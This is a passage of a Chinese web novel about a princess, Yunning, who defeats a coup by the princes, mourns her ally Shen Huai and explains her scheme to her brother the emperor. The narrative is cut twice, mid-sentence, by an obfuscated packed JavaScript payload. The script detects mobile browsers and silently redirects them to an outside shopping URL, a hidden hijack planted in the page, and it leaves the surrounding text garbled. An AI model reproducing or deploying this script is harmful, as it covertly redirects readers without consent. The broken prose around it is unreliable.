她站在摘星阁的窗前,看着远处沈家的方向,看着那一片白茫茫的丧幡。 她想起老太爷最后那个笑容。 想起他说“老臣准备好了”。 她闭上眼睛,深深地吸了一口气。 然后她睁开眼睛,转过身。 “阿蘅。” 阿蘅连忙上前。 昀宁说:“让人盯着大皇子府。有任何动静,立刻来报。” 阿蘅点点头。 “是。” 昀宁走到桌前,摊开一张纸,拿起笔,开始写字。 那是一封信。 写给沈淮的信。 信上只有一行字—— “老太爷走得很安详。他说,让你好好活着。” 她把信折好,交给阿蘅。 “想办法,送到沈淮手里。” 阿蘅接过信,点点头,转身出去了。 昀宁站在窗前,看着外面。 天很阴,像是要下雪。 她忽然想起很久以前,母后说过的一句话。 “昀宁,这世上,最难熬的,是你不得不做你不愿做的事。” 她现在懂了。 她不愿做这件事。 但她不得不做。 为了沈淮。 为了昀昭。 为了这大燕的江山。 她只能做。 那天夜里,沈淮收到了那封信。 他看着那行字,看了很久很久。 然后他把信折好,贴身收着。 他的眼眶红红的,但没有哭。 他只是看着窗外,看着那片黑沉沉的天。 他想起祖父最后看他的那个眼神。 想起祖父说“淮儿,你要做个好人”。 他闭上眼睛。 然后睁开。 他站起身,推门走了出去。 门外,昀启的人正在等着他。 “沈小公爷,大皇子有请。” 沈淮点点头,跟着他们往前走。 他知道,从这一刻起,他再也没有回头路了。 但他不后悔。 因为祖父告诉他,要好好活着。 而他,会好好活着。 哪怕活着的方式,不是他想要的。 ——第十五章完—— 16. 血色鸳鸯 5 沈老太爷出殡后的第三天,沈淮回了沈家。 他穿着素白的孝服,跪在灵堂里,给祖父上了三炷香。沈家的老管家在一旁抹眼泪,想说什么又不敢说。 沈淮没有哭。 他只是跪在那里,看着祖父的牌位,看了很久很久。 然后他站起身,走出灵堂。 外面,昀启的人已经在等着了。 “沈小公爷,大皇子请您过府一叙。” 沈淮点点头,跟着他们往外走。 走到门口,他忽然停下脚步,回过头。 灵堂里,白幡飘动,烛火摇曳。 他想起祖父最后一次看他的眼神。 想起祖父说“淮儿,你要做个好人”。 他闭上眼睛,深深地吸了一口气。 然后他睁开眼睛,转身走了出去。 从那天起,沈淮开始频繁出现在大皇子府。 不只是做客,而是参与议事。 昀启待他如上宾,议事时让他坐在下首,时常问他的意见。沈淮也不推辞,该说的说,该做的做,一副真心归顺的样子。 消息传到宫里,昀宁坐在摘星阁里,听着暗卫的禀报,一言不发。 “殿下,”暗卫说,“沈小公爷他……真的在帮大皇子做事。” 昀宁点点头。 “知道了。” 暗卫退下。 阿蘅在一旁急了。 “殿下,您就这么听着?沈小公爷他怎么能这样?老太爷刚走,他就……” “阿蘅。”昀宁打断她。 阿蘅闭上嘴。 昀宁站起身,走到窗前。 窗外,天阴沉沉的,像是要下雪。 她想起沈淮最后那个眼神。 那里面有心疼,有愧疚,还有她看不懂的东西。 她现在懂了。 那是诀别。 他在和她诀别。 因为他知道,从今以后,他们就是敌人了。 “阿蘅,”她开口,“让人继续盯着。有任何动静,立刻来报。” 阿蘅点点头。 “是。” 十月初五。 离冬至还有一个月,京城里却已经冷得像是数九寒天。 那一日,昀宁正在摘星阁里看密报,阿蘅匆匆进来。 “殿下,薛统领求见。” 昀宁放下密报。 “让他进来。” 薛明走进来,脸色凝重。 “殿下,出事了。” 昀宁看着他。 “什么事?” 薛明说:“大皇子那边,最近在频繁调动人手。臣的人查到,他们从城外调了一批人进来,扮成商队,分批进城。人数不少,至少两千。” 昀宁的眉头微微皱起。 两千人。 加上禁军西营的三千人,就是五千。 五千人马,足够把京城翻个底朝天。 “他们打算什么时候动手?” 薛明摇摇头。 “不知道。但臣猜,快了。” 昀宁沉默了一瞬。 “沈淮呢?” 薛明愣了一下。 “沈小公爷?他……” “他在做什么?” 薛明说:“臣的人看见他最近常去西营,和那边的统领见面。具体说什么,不知道。” 昀宁的手指微微收紧。 西营。 那是周延的人。 沈淮去见他们,做什么? 她没有问。 因为她知道,不管做什么,都不会是好消息。 “薛统领,”她说,“你的人,准备好了吗?” 薛明点点头。 “南营三千人,随时待命。” 昀宁看着他。 “这一次,是真的。” 薛明跪了下去。 “臣明白。” 他站起身,转身离去。 昀宁站在窗前,看着他的背影消失在门外。 窗外,风很大,吹得树枝乱晃。 她忽然想起一件事。 沈淮去西营,会不会是故意的? 会不会是在替她探听消息? 她不知道。 她只能等。 等一个答案。 十月十二。 那天夜里,昀宁收到了沈淮的一封信。 信很短,只有一行字—— “明日午时,西营动手。” 昀宁看着那行字,看了很久。 明日午时。 西营动手。 她让人把薛明叫来。 薛明看了信,脸色一变。 “殿下,这信可靠吗?” 昀宁点点头。 “可靠。” 薛明说:“那臣现在就调人。” 昀宁摇摇头。 “不。” 薛明愣住了。 “殿下?” 昀宁看着他,目光平静。 “让他们动手。” 薛明的眼睛睁大了。 “殿下,您说什么?” 昀宁说:“让他们动手。让他们以为胜券在握。等他们进了城,我们再动手。” 薛明沉默了一瞬。 “殿下是想……” 昀宁点点头。 “一网打尽。” 第二天午时,西营动了。 三千人马从西门进城,一路畅通无阻。领头的统领骑在马上,脸上带着志在必得的笑。 再过一个时辰,皇城就是他们的了。 再过一个时辰,新帝就要换人了。 他想得正美,忽然听见一阵骚动。 “有埋伏!” 他的笑容僵在脸上。 抬头看去,前面黑压压的一片,不知什么时候,多了一支队伍。 领头的,是一个女人。 昀宁。 大燕的嫡长公主。 “拿下。”她说。 薛明带着南营的人冲了出去。 喊杀声四起,刀光剑影,血光冲天。 西营的人猝不及防,乱成一团。统领想跑,被薛明一刀砍下马,当场毙命。 半个时辰后,战斗结束。 三千西营兵,死了一半,降了一半。 昀宁站在城门口,看着那些俘虏被押走,看着那些尸体被抬走,看着那一滩滩血迹被黄土覆盖。 她忽然想起那天夜里,她站在北门外,也是这样。 那时候,沈淮在她身边。 现在,沈淮不在。 “殿下,”薛明走过来,浑身是血,“西营解决了。接下来呢?” 昀宁看着他。 “接下来,去大皇子府。” 大皇子府的门紧闭着。 昀宁的人撞开门,冲进去。 里面空荡荡的,一个人都没有。 昀启不见了。 昀衍也不见了。 昀宁站在空荡荡的厅堂里,看着那张紫檀木的椅子。 椅子上放着一封信。 她拿起来,展开。 信上只有一句话—— “殿下好手段。可惜,沈小公爷在我们手里。” 昀宁的手指微微收紧。 她转过身,看着薛明。 “追。” 薛明点点头,带人冲了出去。 昀宁站在原地,看着那封信,看了很久。 她想起沈淮那张脸。 想起他说“臣的心,是真的”。 她闭上眼睛,深深地吸了一口气。 然后她睁开眼睛,走出大皇子府。 外面,天阴沉沉的,像是要下雪。 她不知道沈淮在哪儿。 她只知道,她一定要找到他。 活要见人,死要见尸。 三天后,昀宁的人找到了昀启和昀衍。 他们在城外的山里,躲在一个废弃的寺庙里。身边只有几十个亲信,灰头土脸的,再也不复往日的风光。 昀宁带着人赶到的时候,他们正缩在破庙里烤火。 看见她,昀启忽然笑了。 “殿下果然厉害。”他说,“本王输了。” 昀宁看着他,没有说话。 昀启继续说:“但你赢了吗?” 昀宁的眉头微微皱起。 “什么意思?” 昀启笑了笑,指了指后面。 “你看。” 昀宁顺着他的手指看过去。 破庙的角落里,蜷着一个人。 浑身是血,低着头,一动不动。 沈淮。 昀宁的心猛地一沉。 她快步走过去,蹲下身子,扶起他。 “沈淮?沈淮!” 沈淮的脸苍白得像纸,眼睛紧闭着,嘴角有干涸的血迹。他身上的伤口比上次更多、更重,有几处深可见骨。 但他还有呼吸。 很微弱,但还有。 昀宁抬起头,看着昀启。 “你对他做了什么?” 昀启摊了摊手。 “没什么。就是让他做了点事。” 他顿了顿,忽然笑了。 “殿下,你知道吗?西营的事,是他告诉你的。但我们早就知道他会告诉你。” 昀宁的手指微微收紧。 昀启继续说:“我们故意让他传那个消息,就是为了让你以为胜券在握。但你没想到吧——西营只是诱饵。” 昀宁看着他。 “什么意思?” 昀启说:“西营三千人,我们本来就没打算靠他们赢。他们死了就死了,无所谓。真正的棋,在别的地方。” 昀宁的瞳孔微微收缩。 “什么地方?” 昀启笑了笑,没有说话。 身后,昀衍忽然开口。 “长公主殿下,”他说,“你以为沈淮为什么会在我们手里?” 昀宁看着他。 昀衍说:“因为他是自己回来的。” 昀宁的心猛地一沉。 自己回来的? “他给我们传了消息之后,本可以跑。但他没有。”昀衍说,“他回来干什么,你知道吗?” 昀宁没有说话。 昀衍站起身,走到她面前。 “他回来,是为了救你。” 昀宁愣住了。 昀衍说:“他以为我们会拿他当人质,要挟你。他以为他回来,我们就会放你一马。他以为……” 他顿了顿,忽然笑了。 “他以为他这条命,能换你一条命。” 昀宁看着怀里的沈淮,眼眶忽然湿了。 “沈淮……”她轻声叫他的名字。 沈淮的眼睛微微动了动,艰难地睁开一条缝。 看见是她,他的嘴角弯了弯,像是在笑。 “殿下……”他的声音沙哑,几乎听不清,“您……您来了……” 昀宁的眼泪掉下来。 “别说话。”她说,“本宫带你走。” 沈淮摇摇头。 “殿下……臣有话要说……” 昀宁看着他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316917|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈淮说:“臣……臣没有背叛您。臣做的事,都是……都是……” 他说不下去了。 昀宁握着他的手。 “本宫知道。”她说,“本宫都知道。” 沈淮笑了。 那笑容很淡,却让昀宁的心疼得像刀绞一样。 “殿下……臣……臣有一件事……一直想告诉您……” 昀宁看着他。 沈淮说:“臣……臣喜欢您。” 昀宁的眼泪掉下来。 “从……从上巳节那天……第一眼看见您……臣就……” 他说不下去了。 昀宁握着他的手,泪流满面。 “本宫知道。”她说,“本宫也知道。” 沈淮看着她,眼睛里忽然有了光。 “殿下……您……您说什么?” 昀宁看着他,一字一句地说: “本宫也喜欢你。” 沈淮的眼睛亮了一下。 那光芒很亮,像是山间的清泉,像是上巳节的阳光,像是他第一次见她的那天。 然后,那光芒慢慢暗下去。 他的手,从昀宁手里滑落。 眼睛,慢慢闭上。 嘴角,还留着那抹笑。 “沈淮?”昀宁叫他。 没有回应。 “沈淮!”她喊他。 还是没有回应。 她把他抱在怀里,一动不动。 身后,昀启的声音传来。 “殿下,节哀顺变。” 昀宁没有理他。 她只是抱着沈淮,抱着他渐渐变凉的身体,一动不动。 外面,开始下雪了。 雪花飘进来,落在他们身上,落在他苍白的脸上,落在他闭着的眼睛上。 一片,一片,又一片。 她忽然想起很久以前,母后说过的一句话。 “昀宁,这世上,最难熬的,是你不得不失去你最爱的人。” 她现在懂了。 她失去了。 失去了一辈子。 “来人。”她开口,声音平静得不像自己。 薛明上前。 “把这两个人,押回去。” 薛明点点头,挥了挥手。 几个人上前,把昀启和昀衍押起来。 昀启被押走的时候,忽然回过头。 “殿下,”他说,“你赢了。” 昀宁没有看他。 她只是抱着沈淮,抱着他渐渐变凉的身体,一动不动。 雪花还在飘。 落在她身上,落在他身上,落在那片渐渐变白的土地上。 一片,一片,又一片。 那天夜里,昀宁把沈淮带回了城。 她没有回宫,而是去了沈家。 沈家的人看见沈淮的尸体,哭成一片。老管家跪在地上,哭得浑身发抖。 昀宁站在灵堂里,看着他们把沈淮装殓入棺。 她闭上眼睛,眼泪流下来。 “沈淮,”她在心里说,“等着本宫。” 她没有说出口。 因为她知道,他不会等她了。 他走了。 再也回不来了。 三天后,沈淮下葬。 昀宁没有去。 她站在摘星阁的窗前,看着远处沈家的方向,看着那一片白茫茫的丧幡。 雪还在下。 一片,一片,又一片。 她想起他最后那个笑容。 那么淡,那么亮。 她想起他说“臣喜欢您”。 她想起她说“本宫也喜欢你”。 那是她这辈子,第一次说这句话。 也是最后一次。 她闭上眼睛,深深地吸了一口气。 然后她睁开眼睛,转过身。 “阿蘅。” 阿蘅上前。 昀宁说:“把昀启和昀衍的罪证整理好。明日朝会,本宫要参他们。” 阿蘅点点头。 昀宁走到桌前,拿起笔,开始写字。 那是一份奏折。 参大皇子昀启、二皇子昀衍,谋反、篡位、残害忠良。 一条一条,写得清清楚楚。 她写完,放下笔,看着那份奏折。 窗外,雪还在下。 她忽然想起很久以前,父皇说过的一句话。 “昀宁,做皇帝的人,要学会失去。” 她现在懂了。 她失去的,不只是一位知己。 她失去的,是她这辈子,唯一想抓住的人。 那天夜里,昀宁做了一个梦。 梦里她还是那个穿着男装、戴着面具的少年郎,站在人潮汹涌的街口,看着那个玄衣少年越走越远。她想追上去,想喊他的名字,但她的脚像是生了根,一步也迈不动。 然后他回过头,看着她。 笑着对她说—— “小公子,莫要乱跑。” 她醒了。 窗外,月光漏进来,落在她枕边,像一地的霜。 她伸手摸了摸枕下,那只兔子面具还在。 那是他送给她的。 上巳节那天,他扶了她一把,递给她一只兔子面具。 她把它拿出来,借着月光,看着那两只红红的眼睛。 然后她把它贴在胸口,闭上眼睛。 她知道,他会等她的。 就像他说的那样—— 无论发生什么,他都在。 ——第十六章完—— 17. 血色鸳鸯 6 沈淮下葬后的第七天,昀宁把自己关在摘星阁里,整整七天。 这七天里,她不见任何人,不处理任何事,只是坐在窗前,看着外面的天空。有时候一坐就是一整天,从天亮坐到天黑,从天黑再坐到天亮。 阿蘅急得团团转,每天在门外守着,端进去的饭菜原封不动地端出来,沏好的茶凉了一杯又一杯。 第七天夜里,昀宁终于开口了。 “阿蘅。” 阿蘅正在门外打盹,听见这一声,猛地惊醒,推门冲进去。 “殿下!殿下您终于说话了!” 昀宁坐在窗前,月光落在她身上,把她的脸映得有些苍白。她比七天前瘦了许多,下巴尖尖的,眼睛却还是那么亮。 “去请陛下来。”她说,“现在。” 阿蘅愣了一下,随即点点头,转身就跑。 半个时辰后,昀昭匆匆赶来。 他穿着一身便服,头发还有些乱,显然是从床上被叫起来的。看见昀宁,他快步上前,一把抱住她。 “皇姐!” 昀宁轻轻拍着他的背。 “姐姐没事。” 昀昭抬起头看她,眼眶红红的。 “皇姐,你吓死我了。你这七天都不出来,我以为……我以为……” 他说不下去了。 昀宁看着他,心里涌起一股暖意。 “昀昭,”她说,“姐姐有话和你说。” 昀昭点点头,在她旁边坐下。 昀宁看了阿蘅一眼。 “你也坐下。” 阿蘅愣了一下,连忙在旁边的小凳子上坐下。 昀宁看着他们两个人,一个是她在这世上最亲的人,一个是她在这世上最信任的人。 她深吸一口气,开口。 “接下来姐姐要说的话,你们可能会觉得奇怪,可能会觉得害怕。但你们要记住——这些话,姐姐只说一次。” 昀昭和阿蘅对视一眼,都点了点头。 昀宁说:“从父皇驾崩那天起,姐姐就知道,这宫里宫外,想要害我们的人,很多。” 昀昭的手指微微收紧。 昀宁继续说:“大皇叔、二皇叔、李崇、周延……他们每个人,都在盯着那把椅子。他们等着我们出错,等着我们软弱,等着我们自己把自己逼上绝路。” 她顿了顿,声音平静。 “所以姐姐从一开始,就在布一个局。” 昀昭的眼睛微微睁大。 “什么局?” 昀宁说:“一个让他们以为我们上钩的局。” 她站起身,走到窗前,看着窗外的月光。 “从那个案子开始,姐姐就知道,有人在暗中准备谋反。王布商一家三口,王贵,沈荣……他们的死,都是证据。但姐姐也知道,光有证据不够,因为他们手里有兵,有粮,有人。硬碰硬,我们碰不过。” 她转过身,看着昀昭。 “所以姐姐只能让他们以为,我们很弱。让他们以为,我们好欺负。让他们以为,只要再推一把,我们就会倒。” 昀昭看着她,若有所思。 “皇姐是故意让他们觉得我们弱?” 昀宁点点头。 “是。姐姐故意不去争,故意不去抢,故意让他们以为姐姐只是个什么都不懂的公主。姐姐让大皇叔当摄政王,不是因为他真的该当,而是因为姐姐要让他在明处,让所有人都看见他想做什么。” 她顿了顿,继续说:“然后,姐姐去找了薛明。” 阿蘅插嘴问:“薛统领?就是那个脸上有刀疤的?” 昀宁点点头。 “薛明的父亲,是被大皇叔的人害死的。他一直在等一个机会报仇。姐姐给了他这个机会。” 她走到桌前,从暗格里取出一样东西,递给昀昭。 昀昭接过来,展开。 那是一道密旨。 上面写着——着禁军南营统领薛明,在必要时可调动禁军,捉拿逆贼,以正国法。 下面盖着传国玉玺的印。 昀昭看着那道密旨,眼睛亮了。 “皇姐,你什么时候让我盖的?” 昀宁说:“就是那天,姐姐让你在乾清宫写的那道诏书。那不是诏书,是密旨。” 昀昭恍然大悟。 “所以皇姐那天说,让我不要当真,就是这个意思?” 昀宁点点头。 “姐姐让你封大皇叔做摄政王,是为了让他放松警惕。姐姐让你给薛明密旨,是为了让他随时可以动手。姐姐做的一切,都是为了让他们以为我们听话,然后在他们动手的时候,一网打尽。” 阿蘅听得目瞪口呆。 “殿下,您……您一个人想了这么多?” 昀宁摇摇头。 “不是一个人。沈淮也帮了忙。” 听见这个名字,阿蘅的脸色变了一变。 昀昭看着她,小心翼翼地问:“皇姐,沈小公爷他……他真的背叛了吗?” 昀宁沉默了一瞬,然后摇摇头。 “没有。” 昀昭愣住了。 “那他为什么……” 昀宁说:“他是被逼的。大皇叔拿沈老太爷的命威胁他。他为了救祖父,只能答应。” 她顿了顿,声音低了下去。 “但他从来没有真正背叛。他给我们传了消息,告诉我们西营动手的时间。那个消息是真的。” 昀昭问:“那他为什么会被抓?” 昀宁沉默了很久。 然后她开口,声音很轻。 “因为他回来了。” 昀昭不解。 昀宁说:“他传完消息之后,本可以跑。但他没有。他以为大皇叔会拿他当人质,要挟姐姐。他以为他回来,姐姐就能安全。他以为……” 她说不下去了。 昀昭看着她,眼眶红了。 “皇姐……” 昀宁深吸一口气,继续说。 “姐姐算了很多东西。算大皇叔什么时候动手,算二皇叔什么时候进京,算薛明能不能守住南门,算禁军会不会听话。姐姐把所有人都算进去了。” 她看着昀昭,目光里有泪光。 “但姐姐没算到沈淮。” 昀昭握住了她的手。 昀宁说:“姐姐没算到他会为了祖父回去。没算到他会为了姐姐再回来。没算到他……” 她闭上眼睛,眼泪流下来。 “没算到他会死。” 屋里一片寂静。 月光从窗外照进来,落在三个人身上,像是一层薄薄的霜。 过了很久,昀昭忽然开口。 “皇姐,沈小公爷是个好人。” 昀宁睁开眼睛,看着他。 昀昭说:“他帮了我们很多。他喜欢皇姐,皇姐也喜欢他。他死了,皇姐难过,我也难过。” 他顿了顿,又说:“但他死得值。” 昀宁看着他。 昀昭说:“因为他做的事,让大皇叔他们输了。我们赢了。” 昀宁的心微微一颤。 她看着昀昭,看着他那双亮亮的眼睛。 那双眼睛里,有悲伤,有难过,但更多的是坚定。 她的小昭,真的长大了。 “昀昭,”她开口,“你说得对。” 她站起身,走到窗前。 “他死得值。但姐姐不会让他白死。” 她转过身,看着他们。 “大皇叔和二皇叔的罪证,姐姐已经整理好了。明日朝会,姐姐会参他们。他们谋反、篡位、残害忠良,每一条都够他们死一百次。” 昀昭点点头。 “好。” 昀宁看着他,忽然问:“昀昭,你知道姐姐为什么要把这些告诉你吗?” 昀昭想了想,说:“因为皇姐想让我知道,你做的事,都是为了我。” 昀宁点点头。 “还有呢?” 昀昭又想了想,说:“因为皇姐想让我知道,当皇帝,有时候要做一些不想做的事。” 昀宁看着他,眼眶有些发酸。 “还有呢?” 昀昭沉默了。 昀宁走过去,在他面前蹲下,看着他的眼睛。 “昀昭,”她说,“姐姐告诉你这些,是想让你知道——以后的路,姐姐不一定能陪你走完。” 昀昭的眼睛猛地睁大。 “皇姐,你说什么?” 昀宁说:“姐姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316918|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做的这些事,得罪了很多人。大皇叔和二皇叔虽然倒了,但还有别的人。他们不会放过姐姐。” 昀昭急了。 “那我保护你!我是皇帝,我能保护你!” 昀宁摇摇头。 “你是皇帝,但你也是我的弟弟。姐姐不需要你保护,姐姐只需要你好好活着,好好当这个皇帝。” 她握住他的手。 “昀昭,你记住——不管发生什么,你都要好好活着。这江山是你的,你要把它守好。” 昀昭的眼泪掉下来。 “皇姐……” 昀宁把他抱进怀里。 “别哭。”她说,“姐姐在。” 昀昭把脸埋在她肩头,哭得浑身发抖。 阿蘅在一旁,也哭成了泪人。 那天夜里,昀宁说了很多。 说她从什么时候开始布局,说她怎么一步步让那些人上钩,说她怎么和薛明联络,说她怎么让沈淮去冒险。 说沈淮最后看她的那个眼神。 说他说“臣喜欢您”。 她说得很平静,像是在说别人的故事。 但阿蘅知道,那不是平静。 那是心死了。 第二天朝会,昀宁站在珠帘后面,一字一句地念那份奏折。 大皇子昀启,二皇子昀衍,谋反、篡位、残害忠良。 一条一条,证据确凿。 朝堂上一片寂静。 昀启和昀衍跪在地上,低着头,一言不发。 昀昭坐在龙椅上,看着他们,声音清冷。 “昀启,昀衍,你们还有什么话说?” 昀启抬起头,看着他,忽然笑了。 “陛下,”他说,“臣输了。但臣有一句话,想问问长公主殿下。” 昀昭看向昀宁。 昀宁从珠帘后面走出来,站在昀启面前。 “你说。” 昀启看着她,目光里有一种奇怪的东西。 “殿下,”他说,“你赢了。但你觉得,你赢了吗?” 昀宁没有说话。 昀启继续说:“沈淮死了。他是因为你死的。你让他去做细作,你让他去冒险,你让他去送死。你以为你赢了,但你失去的,比得到的多。” 他顿了顿,忽然笑了。 “殿下,你晚上睡得着吗?” 昀宁看着他,目光平静。 “大皇子,”她说,“你说完了吗?” 昀启愣了一下。 昀宁说:“沈淮死了,本宫当然难过。但本宫更知道,他为什么死。” 她弯下腰,凑近他,压低声音。 “他是因为你死的。” 昀启的脸色变了一变。 昀宁直起身,看着他。 “大皇子,你杀了多少人?王布商一家三口,王贵,沈荣,还有沈淮。你手上沾了多少血,你自己数得清吗?” 她顿了顿,一字一句地说:“你问本宫晚上睡得着吗?本宫告诉你——本宫睡得着。因为本宫知道,本宫做的每件事,都是为了该做的事。” 她转过身,看着满朝文武。 “而大皇子你,从今天起,怕是再也睡不着了。” 昀启的脸色变得惨白。 昀昭的声音响起。 “来人,把这两个逆贼押下去,打入天牢。三日后,午门问斩。” 侍卫上前,把昀启和昀衍押了下去。 昀启被押走的时候,忽然回过头,看着昀宁。 “殿下,”他说,“你赢了。但你会后悔的。” 昀宁没有看他。 她只是站在那里,看着那把龙椅,看着龙椅上的昀昭。 她想起沈淮最后那个笑容。 想起他说“臣喜欢您”。 她在心里默默地说—— 沈淮,本宫不会后悔。 因为本宫知道,你希望本宫好好活着。 本宫会好好活着。 替你活着。 那天夜里,昀宁回到摘星阁,在窗前坐了许久。 月光落进来,落在那只兔子面具上。 窗外,月光很亮。 像那年上巳节的月光。 ——第十七章完—— 18. 血色鸳鸯 7 昀启、昀衍伏诛后的第三天,京城下了一场大雪。 雪从夜里开始下,一直下到第二天傍晚,把整个皇城都裹成一片白。屋顶上、树梢上、石板上,到处都铺着厚厚的雪,踩上去咯吱咯吱响。 昀宁站在摘星阁的窗前,看着外面的雪景。 这是沈淮走后,她第一次有心情看雪。 阿蘅在一旁伺候着,小心翼翼地看着她的脸色。这半个月来,殿下瘦了许多,话也少了,但好在肯吃东西了,肯出门了,肯见人了。 “殿下,”阿蘅轻声说,“陛下那边派人来问,今日还去不去东宫下棋?” 昀宁回过头。 “去。让他等着。” 阿蘅愣了一下,随即笑了。 “是,奴婢这就去回话。” 她转身跑了出去。 昀宁看着她欢快的背影,嘴角微微弯了弯。 这小丫头,这些日子也跟着她提心吊胆的,好不容易见她肯出门了,高兴得跟什么似的。 她转身,从枕下取出那只兔子面具,看了一眼。 然后她把面具放回去,披上大氅,走出摘星阁。 雪还在下,细细的,密密的,落在她的肩头,落在她的发间。她踩在雪地上,留下一串深深的脚印。 走到东宫门口,就听见里面传来昀昭的声音。 “皇姐怎么还不来?是不是雪太大不来了?阿蘅,你去看看……” “不用看了。”昀宁推门进去,“本宫来了。” 昀昭正趴在窗前往外看,见她进来,眼睛一亮,跳下窗台就扑过来。 “皇姐!” 昀宁伸手接住他,摸了摸他的脸。 “脸都冻红了,怎么不去烤火?” 昀昭嘿嘿一笑,拉着她往里走。 “我在等皇姐呢。皇姐你看,我把棋盘摆好了,就等你来。” 昀宁看着那张棋盘,果然摆得整整齐齐,黑白分明。 “今日想下几盘?” 昀昭想了想,伸出三根手指。 “三盘。” 昀宁点点头。 “好。” 那天下午,他们下了三盘棋。 第一盘,昀昭输了。第二盘,还是输了。第三盘,他咬着牙,每一步都想很久,最后竟然赢了半目。 “皇姐!我赢了!”他高兴得跳起来。 昀宁看着棋盘,微微点头。 “不错。进步了。” 昀昭得意洋洋,但过了一会儿,他又凑过来,小声问:“皇姐,你是不是让我的?” 昀宁看了他一眼。 “没有。” 昀昭盯着她看了半天,不太信,但又忍不住高兴。 “那我是不是很厉害?” 昀宁想了想,说:“还行。” 昀昭瘪了瘪嘴,但很快就忘了,又拉着她问东问西。 “皇姐,你说我以后能下得和你一样好吗?” “能。” “那能比你好吗?” “……等你先赢了我再说。” “哦。” 下完棋,昀宁没有急着走,而是和昀昭一起用了晚膳。 膳后,昀昭忽然说:“皇姐,我有件事想问你。” 昀宁看着他。 “说。” 昀昭犹豫了一下,问:“大皇叔和二皇叔,真的非死不可吗?” 昀宁沉默了一瞬。 “你觉得他们不该死?” 昀昭摇摇头。 “不是。我知道他们做了坏事,害死了很多人。我只是……只是觉得,他们毕竟是我们的皇叔。” 昀宁看着他,目光平静。 “昀昭,你知道他们想做什么吗?” 昀昭点点头。 “他们想把我赶下来,自己当皇帝。” 昀宁说:“如果他们成功了,你会怎么样?” 昀昭想了想,说:“大概会死吧。” 昀宁点点头。 “那他们该死吗?” 昀昭沉默了。 过了很久,他忽然问:“皇姐,当皇帝,是不是一定要杀人?” 昀宁的心微微一颤。 她看着他,看着他那双亮亮的眼睛。 那双眼睛里,有迷茫,有不安,还有一丝恐惧。 “昀昭,”她开口,“姐姐问你一件事。” 昀昭看着她。 昀宁说:“如果有人想杀你,你会怎么办?” 昀昭想了想,说:“跑。” “如果跑不掉呢?” “那就……打。” 昀宁点点头。 “那如果有人想杀你在乎的人呢?” 昀昭愣了一下。 昀宁继续说:“如果有人想杀姐姐,想杀阿蘅,想杀那些对你好的人。你会怎么办?” 昀昭沉默了很久。 然后他抬起头,看着昀宁。 “我会保护他们。” 昀宁看着他。 “怎么保护?” 昀昭想了想,说:“如果有人想害你们,我就先把他抓起来。” “如果抓不住呢?” “那就……” 他说不下去了。 昀宁伸出手,握住他的手。 “昀昭,”她说,“当皇帝,不是为了杀人。但有时候,为了保护该保护的人,不得不杀人。” 她顿了顿,继续说:“大皇叔和二皇叔,他们想杀你。姐姐不能让他们得逞。所以姐姐只能杀了他们。” 昀昭看着她,眼眶有些红。 “皇姐,你累吗?” 昀宁愣了一下。 昀昭说:“你替我做了好多事,你一定很累。” 昀宁沉默了。 她深吸一口气,笑了笑。 “不累。”她说,“姐姐不累。” 那天夜里,昀宁回到摘星阁,在窗前坐了很久。 她想起昀昭问她的那些问题。 想起他说“你累吗”。 她确实累。 但她不能说。 因为她是他的姐姐,是他唯一的依靠。 她不能倒下。 第二天,昀宁去了一趟京兆尹府。 周文见她来,连忙迎上去。 “殿下,您怎么亲自来了?” 昀宁说:“听说最近有几桩案子,本宫来看看。” 周文愣了一下,随即连连点头。 “是是是,殿下请。” 他领着昀宁往里走,一边走一边介绍。 “这几日有几桩小案子,都不大。有一桩是邻里纠纷,两家人为了争一棵树打起来了。还有一桩是偷窃,一个小偷被抓了,东西都找回来了。还有一桩……” 他说着说着,忽然停住了。 昀宁看着他。 “怎么了?” 周文的脸色有些难看。 “还有一桩……是卖豆腐的陈老汉被人打了。” 昀宁的眉头微微皱起。 “陈老汉?那个证人?” 周文点点头。 “就是他。前几天他在街上卖豆腐,被几个人围住打了一顿,腿都打断了。那些人打完就跑,到现在还没抓到。” 昀宁沉默了一瞬。 “带本宫去看看。” 陈老汉的家在城南一条小巷里,一间低矮的土房,门口堆着些破烂。昀宁走进去,里面光线昏暗,一股药味扑面而来。 陈老汉躺在床上,一条腿打着夹板,脸上青一块紫一块。看见昀宁,他挣扎着想坐起来。 “贵人……贵人来了……” 昀宁快步上前,按住他。 “别动。” 陈老汉看着她,老泪纵横。 “贵人……草民……草民什么都没说……他们为什么要打草民……” 昀宁的心微微一沉。 她记得这个陈老汉。就是那个案子的证人,看见有人从王布商家出来,穿着玄色衣裳。 那时候她让他作证,他作了。 那些人打他,是因为他作了证。 “周主簿。”她开口。 周文连忙上前。 昀宁说:“他的医药费,京兆尹府出。另外,派人守着,不许再让人靠近。” 周文点点头。 “下官明白。” 昀宁又看着陈老汉。 “老人家,你好好养伤。等伤好了,本宫给你安排个差事,不用再卖豆腐了。” 陈老汉愣住了。 “贵人……草民……” 昀宁没有再多说,转身走了出去。 走出那条小巷,外面还在下雪。 她站在雪地里,看着那些飘落的雪花,忽然想起很久以前,她也这样站在雪地里,看着漫天的大雪。 那时候她还小,觉得雪很好看,很干净。 现在她知道,雪下面埋着很多东西。 尸体,血迹,秘密。 还有人心。 那天之后,昀宁开始经常出宫。 